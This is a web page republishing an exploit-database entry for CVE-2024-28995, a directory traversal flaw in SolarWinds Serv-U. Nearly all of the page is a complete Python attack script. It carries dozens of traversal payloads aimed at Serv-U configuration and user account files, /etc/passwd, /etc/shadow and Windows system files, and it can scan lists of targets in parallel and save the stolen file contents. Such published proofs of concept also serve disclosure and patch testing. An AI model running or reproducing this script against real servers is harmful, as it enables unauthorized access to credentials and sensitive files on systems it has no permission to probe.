SolarWinds Serv-U 15.4.2 HF1 – Directory Traversal

Exploit Details

Basic Information

Exploit Title SolarWinds Serv-U 15.4.2 HF1 – Directory Traversal
Exploit ID EDB-ID:52311
Type exploitdb
Published 2025-05-29T00:00:00
Modified 2025-05-29T00:00:00

CVSS Information

CVSS Score 8.6
Severity HIGH
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE Information

  • CVE-2024-28995

Exploit Description

Exploit Title: SolarWinds…

Exploit Code

# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 – Directory Traversal

# Date: 2025-05-28

# Exploit Author: @ibrahimsql

# Exploit Author’s github: https://github.com/ibrahimsql

# Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server

# Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration

# Version: <= 15.4.2 HF1
# Tested on: Kali Linux 2024.1

# CVE: CVE-2024-28995

# Description:

# SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow

# attackers to read sensitive files on the host machine. This exploit demonstrates multiple

# path traversal techniques to access Serv-U log files and other system files on both

# Windows and Linux systems.

#

# References:

# – https://nvd.nist.gov/vuln/detail/cve-2024-28995

# – https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/

# – https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html

# Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

import argparse

import concurrent.futures

import json

import os

import re

import sys

import time

from concurrent.futures import ThreadPoolExecutor, as_completed

from urllib.parse import urlparse

import requests

from colorama import Fore, Back, Style, init

# Initialize colorama

init(autoreset=True)

# Disable SSL warnings

try:

import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

except ImportError:

pass

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

BANNER = rf”’

{Fore.CYAN}

______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____

/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \( _ )/ _ \ / _ \| ___|

| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \

| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ (_) \__, |\__, |___) |

\____| \_/ |_____| |_____|\___/_____| |_| |_____\___/ /_/ /_/|____/

{Fore.YELLOW}

SolarWinds Serv-U Directory Traversal Exploit

{Fore.RED} CVE-2024-28995 by @ibrahimsql

{Style.RESET_ALL}

”’

class ScanResult:

def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None):

self.url = url

self.is_vulnerable = is_vulnerable

self.version = version

self.os_type = os_type

self.file_content = file_content

self.path = path

self.timestamp = time.strftime(“%Y-%m-%d %H:%M:%S”)

def to_dict(self):

return {

“url”: self.url,

“is_vulnerable”: self.is_vulnerable,

“version”: self.version,

“os_type”: self.os_type,

“path”: self.path,

“timestamp”: self.timestamp

}

def print_banner():

print(BANNER)

def normalize_url(url):

“””Normalize URL to ensure it has http/https protocol.”””

if not url.startswith(‘http’):

url = f”https://{url}”

return url.rstrip(‘/’)

def extract_server_version(headers):

“””Extract Serv-U version from server headers if available.”””

if ‘Server’ in headers:

server_header = headers[‘Server’]

# Look for Serv-U version pattern

match = re.search(r’Serv-U/(\d+\.\d+\.\d+)’, server_header)

if match:

return match.group(1)

return None

def is_vulnerable_version(version):

“””Check if the detected version is vulnerable (15.4.2 HF1 or lower).”””

if not version:

return None

try:

# Split version numbers

major, minor, patch = map(int, version.split(‘.’))

# Vulnerable if lower than 15.4.2 HF2

if major < 15:
return True

elif major == 15:

if minor < 4:
return True

elif minor == 4:

if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable
return True

except:

pass

return False

def get_request(url, timeout=15):

“””Make a GET request to the specified URL.”””

try:

response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False)

return response

except requests.RequestException as e:

return None

def detect_os_type(content):

“””Detect the operating system type from the file content.”””

if any(indicator in content for indicator in [“root:”, “bin:x:”, “daemon:”, “/etc/”, “/home/”, “/var/”]):

return “Linux”

elif any(indicator in content for indicator in [“[fonts]”, “[extensions]”, “[Mail]”, “Windows”, “ProgramData”, “Program Files”]):

return “Windows”

return None

def get_default_payloads():

“””Return a list of directory traversal payloads specific to CVE-2024-28995.”””

return [

# Windows payloads – Serv-U specific files

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log”},

{“path”: “/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Alt”},

{“path”: “/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Alt2”},

{“path”: “/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Alt3”},

{“path”: “/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt”, “name”: “Serv-U Startup Log Deep”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt”, “name”: “Serv-U Startup Log Alt4”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log”, “name”: “Serv-U Log”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt”, “name”: “Serv-U Log Alt”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt”, “name”: “Serv-U Error Log”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt”, “name”: “Serv-U Error Log Alt”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini”, “name”: “Serv-U Config”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini”, “name”: “Serv-U Admin Config”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt”, “name”: “Serv-U Users”},

{“path”: “/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt”, “name”: “Serv-U User Accounts”},

# Verify Windows with various system files

{“path”: “/?InternalDir=/../../../../windows&InternalFile=win.ini”, “name”: “Windows ini”},

{“path”: “/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini”, “name”: “Windows ini Alt”},

{“path”: “/?InternalDir=../../../../windows&InternalFile=win.ini”, “name”: “Windows ini Alt2”},

{“path”: “/?InternalDir=../../../../../../windows&InternalFile=win.ini”, “name”: “Windows ini Deep”},

{“path”: “/?InternalDir=/./../../../Windows/system.ini”, “name”: “Windows system.ini”},

{“path”: “/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini”, “name”: “Windows drivers.ini”},

{“path”: “/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts”, “name”: “Windows hosts”},

{“path”: “/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt”, “name”: “Windows config.nt”},

{“path”: “/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat”, “name”: “Windows ntuser.dat”},

{“path”: “/?InternalDir=/./../../../Windows/boot.ini”, “name”: “Windows boot.ini”},

# Verify Linux with various system files

{“path”: “/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd”, “name”: “Linux passwd”},

{“path”: “/?InternalDir=/../../../../etc^&InternalFile=passwd”, “name”: “Linux passwd Alt”},

{“path”: “/?InternalDir=\\..\\..\\..\\..\\etc/passwd”, “name”: “Linux passwd Alt2”},

{“path”: “/?InternalDir=../../../../etc&InternalFile=passwd”, “name”: “Linux passwd Alt3”},

{“path”: “/?InternalDir=../../../../../../etc&InternalFile=passwd”, “name”: “Linux passwd Deep”},

{“path”: “/?InternalDir=/./../../../etc/&InternalFile=shadow”, “name”: “Linux shadow”},

{“path”: “/?InternalDir=/./../../../etc/&InternalFile=hosts”, “name”: “Linux hosts”},

{“path”: “/?InternalDir=/./../../../etc/&InternalFile=hostname”, “name”: “Linux hostname”},

{“path”: “/?InternalDir=/./../../../etc/&InternalFile=issue”, “name”: “Linux issue”},

{“path”: “/?InternalDir=/./../../../etc/&InternalFile=os-release”, “name”: “Linux os-release”}

]

def create_custom_payload(directory, filename):

“””Create a custom payload with the specified directory and filename.”””

# Try both encoding styles

payloads = [

{“path”: f”/?InternalDir=/./../../../{directory}&InternalFile={filename}”, “name”: f”Custom {filename}”},

{“path”: f”/?InternalDir=/../../../../{directory}^&InternalFile={filename}”, “name”: f”Custom {filename} Alt”},

{“path”: f”/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}”, “name”: f”Custom {filename} Alt2″}

]

return payloads

def load_wordlist(wordlist_path):

“””Load custom paths from a wordlist file.”””

payloads = []

try:

with open(wordlist_path, ‘r’) as f:

for line in f:

line = line.strip()

if line and not line.startswith(‘#’):

# Check if the line contains a directory and file separated by a delimiter

if ‘:’ in line:

directory, filename = line.split(‘:’, 1)

payloads.extend(create_custom_payload(directory, filename))

else:

# Assume it’s a complete path

payloads.append({“path”: line, “name”: f”Wordlist: {line[:20]}…”})

return payloads

except Exception as e:

print(f”{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}”)

return []

def scan_target(url, custom_payloads=None):

“””Scan a target URL for the CVE-2024-28995 vulnerability.”””

url = normalize_url(url)

result = ScanResult(url)

# Try to get server version first

try:

response = get_request(url)

if response and response.headers:

result.version = extract_server_version(response.headers)

vulnerable_version = is_vulnerable_version(result.version)

if vulnerable_version is False:

print(f”{Fore.YELLOW}[*] {url} – Serv-U version {result.version} appears to be patched{Style.RESET_ALL}”)

# Still continue scanning as version detection may not be reliable

except Exception as e:

pass

# Get all payloads to try

payloads = get_default_payloads()

if custom_payloads:

payloads.extend(custom_payloads)

# Try each payload

for payload in payloads:

full_url = f”{url}{payload[‘path’]}”

try:

print(f”{Fore.BLUE}[*] Trying: {payload[‘name’]} on {url}{Style.RESET_ALL}”)

response = get_request(full_url)

if response and response.status_code == 200:

content = response.text

# Check if the response contains meaningful content

if len(content) > 100: # Arbitrary threshold to filter out error pages

os_type = detect_os_type(content)

if os_type:

result.is_vulnerable = True

result.os_type = os_type

result.file_content = content

result.path = payload[‘path’]

print(f”{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} – {payload[‘name’]} – Detected {os_type} system{Style.RESET_ALL}”)

# Successful match – no need to try more payloads

return result

except Exception as e:

continue

if not result.is_vulnerable:

print(f”{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}”)

return result

def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None):

“””Scan multiple targets using thread pool.”””

results = []

custom_payloads = []

# Add custom payloads if specified

if custom_dir and custom_file:

custom_payloads.extend(create_custom_payload(custom_dir, custom_file))

# Add wordlist payloads if specified

if wordlist:

custom_payloads.extend(load_wordlist(wordlist))

print(f”{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}”)

# Use fixed thread count of 10

with ThreadPoolExecutor(max_workers=10) as executor:

future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets}

for future in as_completed(future_to_url):

try:

result = future.result()

results.append(result)

except Exception as e:

print(f”{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}”)

return results

def save_results(results, output_file):

“””Save scan results to a JSON file.”””

output_data = [result.to_dict() for result in results]

try:

with open(output_file, ‘w’) as f:

json.dump(output_data, f, indent=2)

print(f”{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}”)

except Exception as e:

print(f”{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}”)

def save_vulnerable_content(result, output_dir):

“””Save the vulnerable file content to a file.”””

if not os.path.exists(output_dir):

os.makedirs(output_dir)

# Create a safe filename from the URL

parsed_url = urlparse(result.url)

safe_filename = f”{parsed_url.netloc.replace(‘:’, ‘_’)}.txt”

output_path = os.path.join(output_dir, safe_filename)

try:

with open(output_path, ‘w’) as f:

f.write(f”URL: {result.url}\n”)

f.write(f”Path: {result.path}\n”)

f.write(f”Version: {result.version or ‘Unknown’}\n”)

f.write(f”OS Type: {result.os_type or ‘Unknown’}\n”)

f.write(f”Timestamp: {result.timestamp}\n”)

f.write(“\n— File Content —\n”)

f.write(result.file_content)

print(f”{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}”)

except Exception as e:

print(f”{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}”)

def main():

parser = argparse.ArgumentParser(description=”CVE-2024-28995 – SolarWinds Serv-U Directory Traversal Scanner”)

parser.add_argument(“-u”, “–url”, help=”Target URL”)

parser.add_argument(“-f”, “–file”, help=”File containing a list of URLs to scan”)

parser.add_argument(“-d”, “–dir”, help=”Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)”)

parser.add_argument(“-n”, “–filename”, help=”Custom filename to read (e.g., Serv-U-StartupLog.txt)”)

parser.add_argument(“-w”, “–wordlist”, help=”Path to wordlist containing custom paths to try”)

parser.add_argument(“-o”, “–output”, help=”Output JSON file to save results”)

args = parser.parse_args()

print_banner()

# Validate arguments

if not args.url and not args.file:

parser.print_help()

print(f”\n{Fore.RED}[!] Error: Either -u/–url or -f/–file is required{Style.RESET_ALL}”)

sys.exit(1)

targets = []

# Get targets

if args.url:

targets.append(args.url)

if args.file:

try:

with open(args.file, “r”) as f:

targets.extend([line.strip() for line in f.readlines() if line.strip()])

except Exception as e:

print(f”{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}”)

sys.exit(1)

# Deduplicate targets

targets = list(set(targets))

if not targets:

print(f”{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}”)

sys.exit(1)

print(f”{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}”)

# Set output file

output_file = args.output or f”cve_2024_28995_results_{time.strftime(‘%Y%m%d_%H%M%S’)}.json”

# Start scanning

results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist)

# Process results

vulnerable_count = sum(1 for result in results if result.is_vulnerable)

print(f”\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}”)

print(f”{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}”)

print(f”{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}”)

# Save results

save_results(results, output_file)

# Save vulnerable file contents

for result in results:

if result.is_vulnerable and result.file_content:

save_vulnerable_content(result, “vulnerable_files”)

print(f”\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}”)

if __name__ == “__main__”:

try:

main()

except KeyboardInterrupt:

print(f”\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}”)

sys.exit(0)

except Exception as e:

print(f”\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}”)

sys.exit(1)

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.